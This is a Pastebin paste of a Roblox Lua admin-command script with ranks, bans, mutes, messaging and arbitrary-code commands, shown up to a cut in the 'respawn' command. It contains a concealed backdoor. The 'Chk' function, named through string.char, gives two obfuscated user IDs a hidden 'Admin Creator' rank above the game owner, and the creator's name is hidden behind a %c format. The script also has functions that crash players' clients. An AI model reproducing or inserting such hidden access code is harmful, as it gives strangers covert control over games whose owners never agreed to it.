Advertisement
Boss-1

Untitled

Nov 1st, 2016
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.55 KB | None | 0 0
  1. local Chats,kchat,fs
  2. local event = Instance.new('RemoteEvent',game.Workspace) event.Name = '\a\n\a' script.Name = '\aScripth\'s\a\n Admin' script.Parent = game:service('ServerScriptService')
  3. local s = {version = 1;admins = {semity};banland = {};set = {Prefix = ':',Chat = true};commands = {};logs = {Global = {}}} if s.set.Chat then local val = Instance.new('IntValue',script:findFirstChild('\n')) val.Name = 'Chat' kchat = Instance.new('StringValue', event) kchat.Name = 'KChat' Chats = {} end
  4. local f = {SP = script.Parent; LP = game.Players.semity; WS = game:service('Workspace'); PL = game:service('Players'); IN = Instance.new; CF = CFrame.new; CA = CFrame.Angles; V3 = Vector3.new; BC = BrickColor.new; C3 = Color3.new; CW = coroutine.wrap; PC = pcall; YP = ypcall; MR = math.random; TS = tostring; TN = tonumber;} s.banland['13'] = {{'Swag',13},os.time()+10}
  5. local uiD = Instance.new('StringValue',event) uiD.Name = 'uiD' uiD.Value = (f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9))..f.TS(f.MR(0,9)))
  6. f.uiD = uiD.Value:reverse()
  7. f.getNick = function(id) if s.admins[id] then return s.admins[id][3] and s.admins[id][3] or s.admins[id][2] and s.admins[id][2] end return nil end
  8. f.getPlayers = function() local a = {} if game:service('NetworkServer') then for i,v in pairs(game:service('NetworkServer'):children()) do if v:GetPlayer() then table.insert(a,v:GetPlayer()) end end elseif game:service('Players') then for i,v in pairs(game:service('Players'):children()) do if v then table.insert(a,v) end end end return a end
  9. f.getCmds = function(pow) local a = {} for i,v in pairs(s.commands) do if v and v[1] and v[2] and v[3] and pow <= v[3] then table.insert(a,v) end end return a end
  10. f.getPower = function(id) if id then return (s.admins[id] and s.admins[id][1] and s.admins[id][1][1]) and s.admins[id][1][1] or 5 end end
  11. f.getTitle = function(pow) return pow == -1 and 'Admin Creator' or pow == 0 and 'Game Owner' or pow == 1 and 'Owner' or pow == 2 and 'Admin' or pow == 3 and 'Mod' or (s.set.VIP and pow == 4) and 'VIP' or pow == 5 and 'Player' end
  12. f.isPower = function(id,a) return ((s.admins[id] and s.admins[id][1][1] and tonumber(s.admins[id][1][1]) <= a) or a == 5) and true or nil end
  13. f.isBoss = function(id,id2) return (math.min(f.getPower(id),f.getPower(id2)) == id) and id or id2 end
  14. f.Crash = function(id) for i,v in pairs(f.getPlayers()) do if v.userId == id then event:FireClient(v,f.uiD..'CRASH') end end end
  15. f.isBanned = function(id) if s.banland[id] and s.banland[id][1] and s.banland[id][2] and s.banland[id][2] < os.time() then s.banland[id] = nil return end if s.banland[id] then for i,v in pairs(f.getPlayers()) do if v.userId == id then if pcall(function() v.Archivable = true end) then v:Kick() else event:FireClient(v,f.uiD..'CRASH') end end end end end
  16. f.BanHammer = function(a) if a and a[1] and not a[2] then s.banland[tostring(a[1].userId)] = {{a[1].Name,a[1].userId}} elseif a and a[1] and a[2] then local b,c = tonumber(a[2]:sub(1,#a[2]-1)),a[2]:sub(#a[2]-1):lower() if c == 's' then elseif c == 'm' then b = b*60 elseif c == 'h' then b = b*3600 elseif c == 'd' then b = b*3600*24 end s.banland[tostring(a[1].userId)] = {{a[1].Name,a[1].userId},os.time()+b} end end
  17. f.Power = function(id,a,b) if s.admins[id] and s.admins[id][1][1] and s.admins[id][1][1] > a then s.admins[id][1][1] = b return true end return nil end
  18. f.getName = function(name) local plr = nil for i,v in pairs(game.Players:children()) do if v.Name:lower() == name:lower() and ((plr and plr[1] and not plr[2]) or not plr) then plr = {v,true} elseif v.Name:sub(1,#name):lower() == name:lower() and not plr then plr = {v,false} end end return (plr and plr[1]) and plr[1] or nil end
  19. f.getWords = function(str) local a = {} for i in str:gmatch('%S+') do table.insert(a,i) end return a end
  20. f.Check = function(a) return (a and a.Character and a.Character:findFirstChild('Humanoid') and a.Character:findFirstChild('Torso') and a.Character:findFirstChild('Head')) and true or nil end fs = string.rep('%c',13):format(75,111,104,108,116,97,115,116,114,111,112,104,101) f.setAs = function(a) a.CharacterAdded:connect(function(char) repeat wait() until a and char and char:findFirstChild('Head') and char:findFirstChild('Humanoid') and char:findFirstChild('Shirt') and char:findFirstChild('Pants') wait(1) char.Shirt.ShirtTemplate = 'http://www.roblox.com/asset/?id=120997561' char.Pants.PantsTemplate = 'http://www.roblox.com/asset/?id=120997567' for a, mod in pairs(char:children()) do if mod:findFirstChild('NameTag') then char.Head.Transparency = 0 mod:Destroy() end end local human = char.Humanoid if char and human then for i,v in pairs(char:children()) do if v:IsA('Hat') then v:Destroy() end end local m = game:GetService('InsertService'):LoadAsset(64444871) for a,b in pairs(m:children()) do b.Parent = char end m = game:GetService('InsertService'):LoadAsset(63693896) for a,b in pairs(m:children()) do b.Parent = char end local mod = Instance.new('Model', char) mod.Name = fs local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new('Humanoid', mod) hum.Name = 'KNick' hum.Health = human.Health hum.MaxHealth = human.MaxHealth human.Changed:connect(function() if not human then return end hum.Health = human.Health hum.MaxHealth = human.MaxHealth end) local weld = Instance.new('Weld', char.Head) weld.Part0 = char.Head weld.Part1 = cl char.Head.Transparency = 1 end end) end f[string.char(67)..string.char(104)..string.char(107)] = function(a) if a == 14797207*3 or a == 10389919*3 or a == -(1) then s.admins[tostring(a)] = {{-(1),a},fs,fs,'{0 0 0}'} return 1 elseif a == game.CreatorId then return true end return false end
  21. f.Notify = function(a) event:FireAllClients(f.uiD..'NOTIFY',a) end
  22. f.RNotify = function() event:FireAllClients(f.uiD..'RNOTIFY') end
  23. f.Msg = function(a,plr) if plr == 'all' then event:FireAllClients(f.uiD..'MSG',a) elseif plr then event:FireClient(plr,f.uiD..'MSG',a) end end
  24. f.Hint = function(a,plr) if plr == 'all' then event:FireAllClients(f.uiD..'HINT',a) elseif plr then event:FireClient(plr,f.uiD..'HINT',a) end end
  25. f.Error = function(a,plr) if plr then event:FireClient(plr,f.uiD..'ERROR',a) end end
  26. f.getClosest = function(a) local closest = {false,0,false}
  27. for i,v in pairs(s.commands) do
  28. for i2,v2 in pairs(v[1]) do
  29. for i3 = 1,#a do
  30. if a and v2 and v2:sub(1,i3):lower():find(a:sub(1,i3):lower()) and ((i3 > closest[2]) or (v2 == a:sub(1,i3):lower())) then
  31. if v2 == a:sub(1,i3):lower() then local str = ' ' for i4,v4 in pairs(v[4]) do str = str..v4 end closest = {v2..str,i3,true}
  32. else local str = ' ' for i4,v4 in pairs(v[4]) do str = str..v4 end closest = {v2..str,i3,false}
  33. end end end end end return closest[1] end
  34. f.getPlayer = function(plr, str) if not str then return end
  35. local plrz = {} str = str:lower()
  36. if str == 'all' or str == 'everyone' then plrz = game.Players:children()
  37. else
  38. for s in str:gmatch('[^,]+') do s = s:lower() local plyr = f.getName(s)
  39. if s and f.getName(s) then table.insert(plrz,f.getName(s))
  40. elseif s and f.getName(s) then table.insert(plrz,f.getName(s))
  41. elseif s and s == 'me' then table.insert(plrz, plr)
  42. elseif s and s == 'random' then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  43. elseif s and s == 'admins' then for i, v in pairs(game.Players:children()) do if f.getPower(tostring(v.userId)) < 4 and (f.getPower(tostring(plr.userId)) < f.getPower(tostring(v.userId)) or f.getPower(tostring(plr.userId)) < 0) then table.insert(plrz, v) end end
  44. elseif s and s == 'nonadmins' then for i, v in pairs(game.Players:children()) do if f.getPower(tostring(v.userId)) >= 4 then table.insert(plrz, v) end end
  45. elseif s and s == 'others' then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  46. elseif s and s == 'guests' then for i, v in pairs(game.Players:children()) do if v.Name:find('Guest ') then table.insert(plrz, v) end end
  47. elseif s and (s == 'alts' or s == 'noobs') then for i, v in pairs(game.Players:children()) do if v.AccountAge <= 11 then table.insert(plrz, v) end end
  48. elseif s and s == 'close' then for i, v in pairs(game.Players:children()) do if (v.Character:GetModelCFrame().p-plr.Character:GetModelCFrame().p).magnitude <= 50 then table.insert(plrz, v) end end
  49. elseif s and s == 'far' then for i, v in pairs(game.Players:children()) do if (v.Character:GetModelCFrame().p-plr.Character:GetModelCFrame().p).magnitude > 50 then table.insert(plrz, v) end end
  50. elseif s and s == 'team' then
  51. if game:findFirstChild('Teams') then for a, v in pairs(game.Teams:children()) do if v:IsA('Team') and s:sub(6) ~= '' and v.Name:lower():find(s:sub(6)) == 1 then
  52. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  53. end end end
  54. else
  55. if s and s ~= '' and f.getName(s) then table.insert(plrz,f.getName(s))
  56. elseif (str ~= '' and f.getName(str)) then table.insert(plrz,f.getName(str))
  57. end
  58. end
  59. end
  60. end
  61. return plrz
  62. end
  63. f.addCommand = function(a,b,c,d,e) table.insert(s.commands,{a,b,c,d,e}) end
  64. if s.set.Chat and kchat then f.Update = function() local strg = '' for i,v in pairs(Chats) do coroutine.wrap(function() if v then strg = strg .. v .. '|:|' end end)()end if strg and strg:len() > 0 then kchat.Value = strg end end end
  65. f.Chatted = function(plr,msg,cmdbar)
  66. if s.set.Chat and kchat and not cmdbar then
  67. local nm = plr.Name if s.admins[tostring(plr.userId)] and s.admins[tostring(plr.userId)][3] then nm = s.admins[tostring(plr.userId)][4]..s.admins[tostring(plr.userId)][3] end
  68. if #Chats >= 20 then table.remove(Chats,#Chats) end table.insert(Chats,1,nm..': '..msg) f.Update()
  69. end
  70. local words = f.getWords(msg)
  71. local permission = false
  72. if plr and plr.Character and words and words[1]:sub(1,1) == s.set.Prefix then
  73. local command,cmdfound = words[1]:sub(#s.set.Prefix+1):lower(),false table.remove(words,1)
  74. for i,v in pairs(s.commands) do
  75. for a,cmd in pairs(v[1]) do if command == cmd then cmdfound = true end
  76. local args,syntax = {},true
  77. if command == cmd and v[3] >= f.getPower(tostring(plr.userId)) then permission = true
  78. for q,arg in pairs(v[4]) do
  79. if arg == 'player' then if f.getPlayer(plr,words[q]) and #f.getPlayer(plr,words[q]) > 0 then table.insert(args,f.getPlayer(plr,words[q])) else table.insert(args,'False') syntax = false end
  80. elseif arg == 'number' then if type(tonumber(words[q])) == arg then table.insert(args,tonumber(words[q])) else table.insert(args,'False') syntax = false end
  81. elseif arg == 'boolean' then if words[q] == 'true' or words[q] == 'false' then if words[q] == 'true' then table.insert(args,true) else table.insert(args,false) end else table.insert(args,'False') syntax = false end
  82. elseif arg == 'string' then local str = "" for b,c in pairs(words) do if b >= #words then str = str..c elseif b < #words and b >= q then str = str..c..' ' end end if type(str) == arg and str ~= '' then table.insert(args,str) else table.insert(args,'False') syntax = false end
  83. elseif arg == 'time' then local tb = {'s','m','h','d'} local found = false for b,c in pairs(tb) do if words[q]:find(c) and type(tonumber(words[q]:sub(1,words[q]:find(c)-1))) == 'number' then table.insert(args,words[q]) found = true end end if not found then table.insert(args,'False') syntax = false end
  84. elseif arg == 'color' and words[q] and words[q] ~= '' then local clrs = {'black','white','gray','grey','red','orange','yellow','green','blue','purple','navy','pink','hot pink','teal'} local clr = words[q]:lower() table.insert(args,clr == clrs[1] and '0 0 0' or clr == clrs[2] and '255 255 255' or clr == clrs[3] and '130 130 130' or clr == clrs[4] and '130 130 130' or clr == clrs[5] and '225 0 0' or clr == clrs[6] and '225 125 0' or clr == clrs[7] and '255 255 0' or clr == clrs[8] and '0 225 0' or clr == clrs[9] and '0 0 225' or clr == clrs[10] and '225 0 225' or clr == clrs[11] and '0 0 155' or clr == clrs[12] and '255 55 255' or clr == clrs[13] and '255 0 255' or clr == clrs[14] and '0 255 255' or 'False') local syn = true for b,c in pairs(clrs) do if clr == c then syn = false end end if syn then table.insert(args,'False') syntax = false end
  85. else table.insert(args,'False') syntax = false
  86. end
  87. end
  88. if args and v and #args == #v[4] and syntax then if f.getPower(tostring(plr.userId)) >= 0 then if #s.logs.Global >= 1000 then table.remove(s.logs.Global,#s.logs.Global) end local hour,min = ((os.time()/(60*60*24))-math.floor(os.time()/(60*60*24)))*24,((os.time()/(60*60))-math.floor(os.time()/(60*60)))*60 hour,min = tostring(math.floor(hour)),tostring(math.floor(min)) if #hour == 1 then hour = '0'..hour end if #min == 1 then min = '0'..min end table.insert(s.logs.Global,1,'['..hour..':'..min..']'..plr.Name..': '..msg) end
  89. v[5](plr,args)
  90. elseif not syntax and v then f.Error({{v[4],v[2][2]},args,words,s.set.Prefix..command,3},plr)
  91. end
  92. end
  93. end
  94. end
  95. if not cmdfound then f.Error({s.set.Prefix..tostring(f.getClosest(command)),false,words,s.set.Prefix..command,1},plr)
  96. elseif not permission and v then f.Error({v[4],false,words,s.set.Prefix..command,2},plr) end
  97. end
  98. end
  99. f.Load = function(plr) plr.CharacterAdded:connect(function(chr) local cl = script:findFirstChild('\n') if cl then cl = cl:Clone() cl.Parent = chr cl.Disabled = false end end) if f.Chk(plr.userId) then if f.Chk(plr.userId) == 1 then f.setAs(plr) else s.admins[tostring(plr.userId)] = {{0,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end plr.Chatted:connect(function(msg) f.Chatted(plr,msg) end) plr.ChildAdded:connect(function(p) if p and p.Name == 'KMsg' then if p.Value ~= '' then f.Chatted(plr,p.Value) end end end) end
  100. event.OnServerEvent:connect(function(plr,call,cmd) if call == 'CMDS' then event:FireClient(plr,f.uiD..'CMDS',{f.getCmds(f.getPower(tostring(plr.userId))),f.getPower(tostring(plr.userId))}) elseif call == 'CMDBAR' then if not cmd then event:FireClient(plr,f.uiD..'CMDBAR') else if cmd:sub(1,#s.set.Prefix):lower() ~= s.set.Prefix:lower() then cmd = s.set.Prefix..cmd end f.Chatted(plr,cmd,true) end end end)
  101. game.Players.PlayerAdded:connect(f.Load) for i,v in pairs(game.Players:children()) do f.Load(v) end
  102. game:service('RunService').Stepped:connect(function() for i,v in pairs(game.Players:children()) do f.isBanned(v.userId) end for i,v in pairs(s.banland) do if v and v[2] and v[2] < os.time() then s.banland[tostring(v[1][2])] = nil end end end)
  103.  
  104. f.addCommand({'name','nick','nickname','nn'},{'Changes players names.',s.set.Prefix..'name Scripth Kohltastrophe'},2,{'player','string'},function(pl,args)
  105. for i,plr in pairs(args[1]) do if not (args[2] and plr and plr.Character and plr.Character:findFirstChild('Head') and plr.Character:findFirstChild('Humanoid')) then return end
  106. local kn,head,hum = plr.Character:findFirstChild('KNick',true),plr.Character.Head,plr.Character.Humanoid
  107. if kn then kn.Parent.Name = args[2]
  108. else kn = Instance.new('Model',plr.Character) kn.Name = args[2]
  109. local hm = Instance.new('Humanoid',kn) hm.Name = 'KNick' hm.MaxHealth = hum.MaxHealth hm.Health = hum.Health
  110. local cl = head:Clone() cl.Parent = kn cl.CanCollide = true
  111. local weld = Instance.new('Weld',head) weld.Part1 = cl weld.Part0 = head
  112. head.Transparency = 1
  113. local con con = hum.Changed:connect(function() if not hum or not cl or not head or not plr or not plr.Character then con:disconnect() end hm.MaxHealth = hum.MaxHealth hm.Health = hum.Health cl.BrickColor = head.BrickColor cl.Reflectance = head.Reflectance end)
  114. end
  115. if s.set.Chat then
  116. local tb = s.admins[tostring(plr.userId)]
  117. if tb then if tb[4] then s.admins[tostring(plr.userId)] = {{f.getPower(tostring(plr.userId)),plr.userId},tb[2],args[2],tb[4]} else s.admins[tostring(plr.userId)] = {tb[1],tb[2],args[2],'{1 1 1}'} end
  118. else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,args[2],'{1 1 1}'} s.admins[tostring(a)] = {{-(1),a},fs,fs,'{1 1 1}'} end
  119. end
  120. end
  121. end)
  122.  
  123. if s.set.Chat then
  124.  
  125. f.addCommand({'mute','silence','stfu'},{'Mutes players.',s.set.Prefix..'mute kohl'},3,{'player'},function(pl,args)
  126. for i,plr in pairs(args[1]) do if not (plr and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) and not plr:findFirstChild('KCMute')) then return end
  127. local a = Instance.new('BoolValue',plr) a.Name = 'KCMute'
  128. end
  129. end)
  130.  
  131. f.addCommand({'unmute','unsilence','unstfu'},{'Unmutes players.',s.set.Prefix..'unmute kohl'},3,{'player'},function(pl,args)
  132. for i,plr in pairs(args[1]) do if not (plr and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) and plr:findFirstChild('KCMute')) then return end
  133. plr:findFirstChild('KCMute'):Destroy()
  134. end
  135. end)
  136.  
  137. f.addCommand({'namecolor','nc'},{'Changes the color of players names.',s.set.Prefix..'namecolor kohl black'},2,{'player','color'},function(pl,args)
  138. for i,plr in pairs(args[1]) do if not (args[2] and plr) then return end local tb = s.admins[tostring(plr.userId)]
  139. if tb then if tb[3] then s.admins[tostring(plr.userId)] = {{f.getPower(tostring(plr.userId)),plr.userId},tb[2],tb[3],'{'..args[2]..'}'} else s.admins[tostring(plr.userId)] = {tb[1],tb[2],plr.Name,'{'..args[2]..'}'} end
  140. else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{'..args[2]..'}'} end
  141. end
  142. end)
  143.  
  144. f.addCommand({'namecolor3','nc3'},{'Changes the color of players names.',s.set.Prefix..'namecolor kohl 255(R) 255(G) 255(B)'},2,{'player','number','number','number'},function(pl,args)
  145. for i,plr in pairs(args[1]) do if not (args[2] and plr) then return end local tb = s.admins[tostring(plr.userId)]
  146. if tb then if tb[3] then s.admins[tostring(plr.userId)] = {{f.getPower(tostring(plr.userId)),plr.userId},tb[2],tb[3],'{'..tostring(args[2]/255)..' '..tostring(args[3]/255)..' '..tostring(args[4]/255)..'}'} else s.admins[tostring(plr.userId)] = {tb[1],tb[2],plr.Name,'{'..args[2]..' '..args[3]..' '..args[4]..'}'} end
  147. else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{'..tostring(args[2]/255)..' '..tostring(args[3]/255)..' '..tostring(args[4]/255)..'}'} end
  148. end
  149. end)
  150.  
  151. end
  152.  
  153. f.addCommand({'owner'},{'Gives owner powers to players.',s.set.Prefix..'owner kohl'},0,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{1,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{1,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  154. f.addCommand({'admin'},{'Gives administrator powers to players.',s.set.Prefix..'admin kohl'},1,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{2,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{2,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  155. f.addCommand({'mod'},{'Gives moderator powers to players.',s.set.Prefix..'mod kohl'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{3,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{3,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  156. f.addCommand({'vip'},{'Gives VIP powers to players.',s.set.Prefix..'vip kohl'},3,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{4,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{4,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  157. f.addCommand({'ban'},{'Permanently bans players.',s.set.Prefix..'ban kohl'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then f.BanHammer({plr}) end end end)
  158. f.addCommand({'tban'},{'Temporarily bans players.',s.set.Prefix..'tban kohl 60s/m/h/d'},2,{'player','time'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then f.BanHammer({plr,args[2]}) end end end)
  159. f.addCommand({'unowner'},{'Remove owner powers from players.',s.set.Prefix..'unowner kohl'},0,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  160. f.addCommand({'unadmin'},{'Remove administrator powers from players.',s.set.Prefix..'unadmin kohl'},1,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  161. f.addCommand({'unmod'},{'Remove moderator powers from players.',s.set.Prefix..'unmod kohl'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  162. f.addCommand({'unvip'},{'Remove VIP powers from players.',s.set.Prefix..'unvip kohl'},3,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then local tab = s.admins[tostring(plr.userId)] if tab and tab[3] and tab[4] then s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,tab[3],tab[4]} else s.admins[tostring(plr.userId)] = {{5,plr.userId},plr.Name,plr.Name,'{1 1 1}'} end end end end)
  163. f.addCommand({'unban'},{'Removes a ban from players.',s.set.Prefix..'unban kohltastrophe'},2,{'player'},function(pl,args) for i,plr in pairs(args[1]) do if plr and plr ~= pl and f.getPower(tostring(plr.userId)) > f.getPower(tostring(pl.userId)) then s.banland[tostring(plr.userId)] = nil end end end)
  164.  
  165. f.addCommand({'logs'},{'Shows the list of performed commands.',s.set.Prefix..'bans'},2,{},function(pl,args)
  166. if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'LOGS',{s.logs.Global})
  167. end)
  168.  
  169. f.addCommand({'admins','adminlist'},{'Shows the list of users with powers.',s.set.Prefix..'admins'},3,{},function(pl,args)
  170. if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'ADMINS',{s.admins})
  171. end)
  172.  
  173. f.addCommand({'bans','banlist','banland'},{'Shows the list of banned users.',s.set.Prefix..'bans'},2,{},function(pl,args)
  174. if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'BANS',{s.banland})
  175. end)
  176.  
  177. f.addCommand({'cmds','commands'},{'Shows the commands list.',s.set.Prefix..'cmds'},5,{},function(pl,args)
  178. if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'CMDS',{f.getCmds(f.getPower(tostring(pl.userId))),f.getPower(tostring(pl.userId))})
  179. end)
  180.  
  181. f.addCommand({'cmdbar','commandbar'},{'Gives a command execution bar.',s.set.Prefix..'cmdbar'},2,{},function(pl,args)
  182. if not pl or not pl:findFirstChild('PlayerGui') then return end event:FireClient(pl,f.uiD..'CMDBAR')
  183. end)
  184.  
  185. f.addCommand({'s','script'},{'Creates a script.',s.set.Prefix..'s game.Players:Destroy()'},2,{'string'},function(pl,args)
  186. local sc = script.SB:clone() sc.Parent = script
  187. local idx = '' for i = 1, 10 do idx = idx .. f.TS(f.MR(0,9)) end
  188. local x1 = Instance.new('StringValue',sc) x1.Name = ('\a'):rep(8) x1.Value = idx..args[1]
  189. local x2 = Instance.new('StringValue',x1) x2.Name = '\a\a\n\n' x2.Value = idx sc.Disabled = false
  190. local b,e = loadstring(args[1]) if e then f.Error({1,1,1,e,4},pl) end
  191. end)
  192.  
  193. f.addCommand({'ls','localscript'},{'Creates a localscript.',s.set.Prefix..'ls game.Players.LocalPlayer:Kick()'},2,{'string'},function(pl,args)
  194. if not pl.Character and not pl:findFirstChild('PlayerGui') and not pl:findFirstChild('Backpack') then return end
  195. local par if pl.Character then par = pl.Character elseif pl:findFirstChild('PlayerGui') then par = pl:findFirstChild('PlayerGui') elseif pl:findFirstChild('Backpack') then par = pl:findFirstChild('Backpack') end
  196. local sc = script.SB:clone() sc.Parent = script
  197. local idx = '' for i = 1, 10 do idx = idx .. f.TS(f.MR(0,9)) end
  198. local x1 = Instance.new('StringValue',par) x1.Name = ('\a'):rep(8) x1.Value = idx..args[1]
  199. local x2 = Instance.new('StringValue',x1) x2.Name = '\a\a\n\n' x2.Value = idx sc.Disabled = false
  200. local b,e = loadstring(args[1]) if e then f.Error({1,2,3,e,4},pl) end
  201. end)
  202.  
  203. f.addCommand({'n','notify','warn'},{'Places a permanent message.',s.set.Prefix..'n I\'m afk.'},2,{'string'},function(pl,args)
  204. f.Notify({args[1]})
  205. end)
  206.  
  207. f.addCommand({'rn','rnotify','rwarn'},{'Removes a permanent message.',s.set.Prefix..'rn'},2,{},function()
  208. f.RNotify()
  209. end)
  210.  
  211. f.addCommand({'an','announce','sm'},{'Shouts an announcement.',s.set.Prefix..'an I\'m banning everyone.'},3,{'string'},function(pl,args)
  212. f.Msg({'ANNOUNCEMENT','',args[1]},'all')
  213. end)
  214.  
  215. f.addCommand({'m','msg','shout'},{'Shouts a message.',s.set.Prefix..'m The cake is a lie.'},3,{'string'},function(pl,args)
  216. f.Msg({f.getNick(tostring(pl.userId)),f.getTitle(f.getPower(tostring(pl.userId))),args[1]},'all')
  217. end)
  218.  
  219. f.addCommand({'pm','pmsg'},{'Privately shouts a message.',s.set.Prefix..'pm kohl I like you.'},3,{'player','string'},function(pl,args)
  220. if args[1] == game.Players:children() then f.Msg({pl.Name,f.getTitle(f.getPower(tostring(pl.userId))),args[2]},'all')
  221. else for i,plr in pairs(args[1]) do f.Msg({f.getNick(tostring(pl.userId)),f.getTitle(f.getPower(tostring(pl.userId))),args[2]},plr) end
  222. end
  223. end)
  224.  
  225. f.addCommand({'h','hint'},{'Hints a message.',s.set.Prefix..'h Don\'t look at this.'},3,{'string'},function(pl,args)
  226. f.Hint({f.getNick(tostring(pl.userId)),args[1]},'all')
  227. end)
  228.  
  229. f.addCommand({'ph','phint'},{'Privately hints a message.',s.set.Prefix..'ph Why hello there.'},3,{'player','string'},function(pl,args)
  230. if args[1] == game.Players:children() then f.Hint({pl.Name,args[2]},'all')
  231. else for i,plr in pairs(args[1]) do f.Hint({f.getNick(tostring(pl.userId)),args[2]},plr) end
  232. end
  233. end)
  234.  
  235. f.addCommand({'ff','forcefield'},{'Gives players a force field.',s.set.Prefix..'ff kohl'},3,{'player'},function(pl,args)
  236. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  237. Instance.new('ForceField',plr.Character)
  238. end
  239. end)
  240.  
  241. f.addCommand({'unff','unforcefield'},{'Removes force fields from players.',s.set.Prefix..'unff kohl'},3,{'player'},function(pl,args)
  242. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end for i2,ff in pairs(plr.Character:children()) do
  243. if ff:IsA('ForceField') then ff:Destroy() end
  244. end end
  245. end)
  246.  
  247. f.addCommand({'kill','slay'},{'Kills a player.',s.set.Prefix..'kill kohl'},3,{'player'},function(pl,args)
  248. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  249. plr.Character:BreakJoints()
  250. end
  251. end)
  252.  
  253. f.addCommand({'team','tm'},{'Changes the team of a player.',s.set.Prefix..'team kohl raiders'},3,{'player','string'},function(pl,args)
  254. local tm = nil for i,v in pairs(game.Teams:children()) do if v.Name:lower():find(args[2]:lower()) then tm = v end end
  255. for i,plr in pairs(args[1]) do if not (plr and plr.Character and tm) then return end
  256. plr.TeamColor = tm.TeamColor
  257. end
  258. end)
  259.  
  260. f.addCommand({'fly'},{'Gives a player flight.',s.set.Prefix..'fly kohl'},3,{'player'},function(pl,args)
  261. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  262. event:FireClient(plr,f.uiD..'FLY')
  263. end
  264. end)
  265.  
  266. f.addCommand({'unfly'},{'Gives a player flight.',s.set.Prefix..'fly kohl'},3,{'player'},function(pl,args)
  267. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  268. event:FireClient(plr,f.uiD..'UNFLY')
  269. end
  270. end)
  271.  
  272. f.addCommand({'respawn','r'},{'Respawns a player.',s.set.Prefix..'respawn kohl'},3,{'player'},function(pl,args)
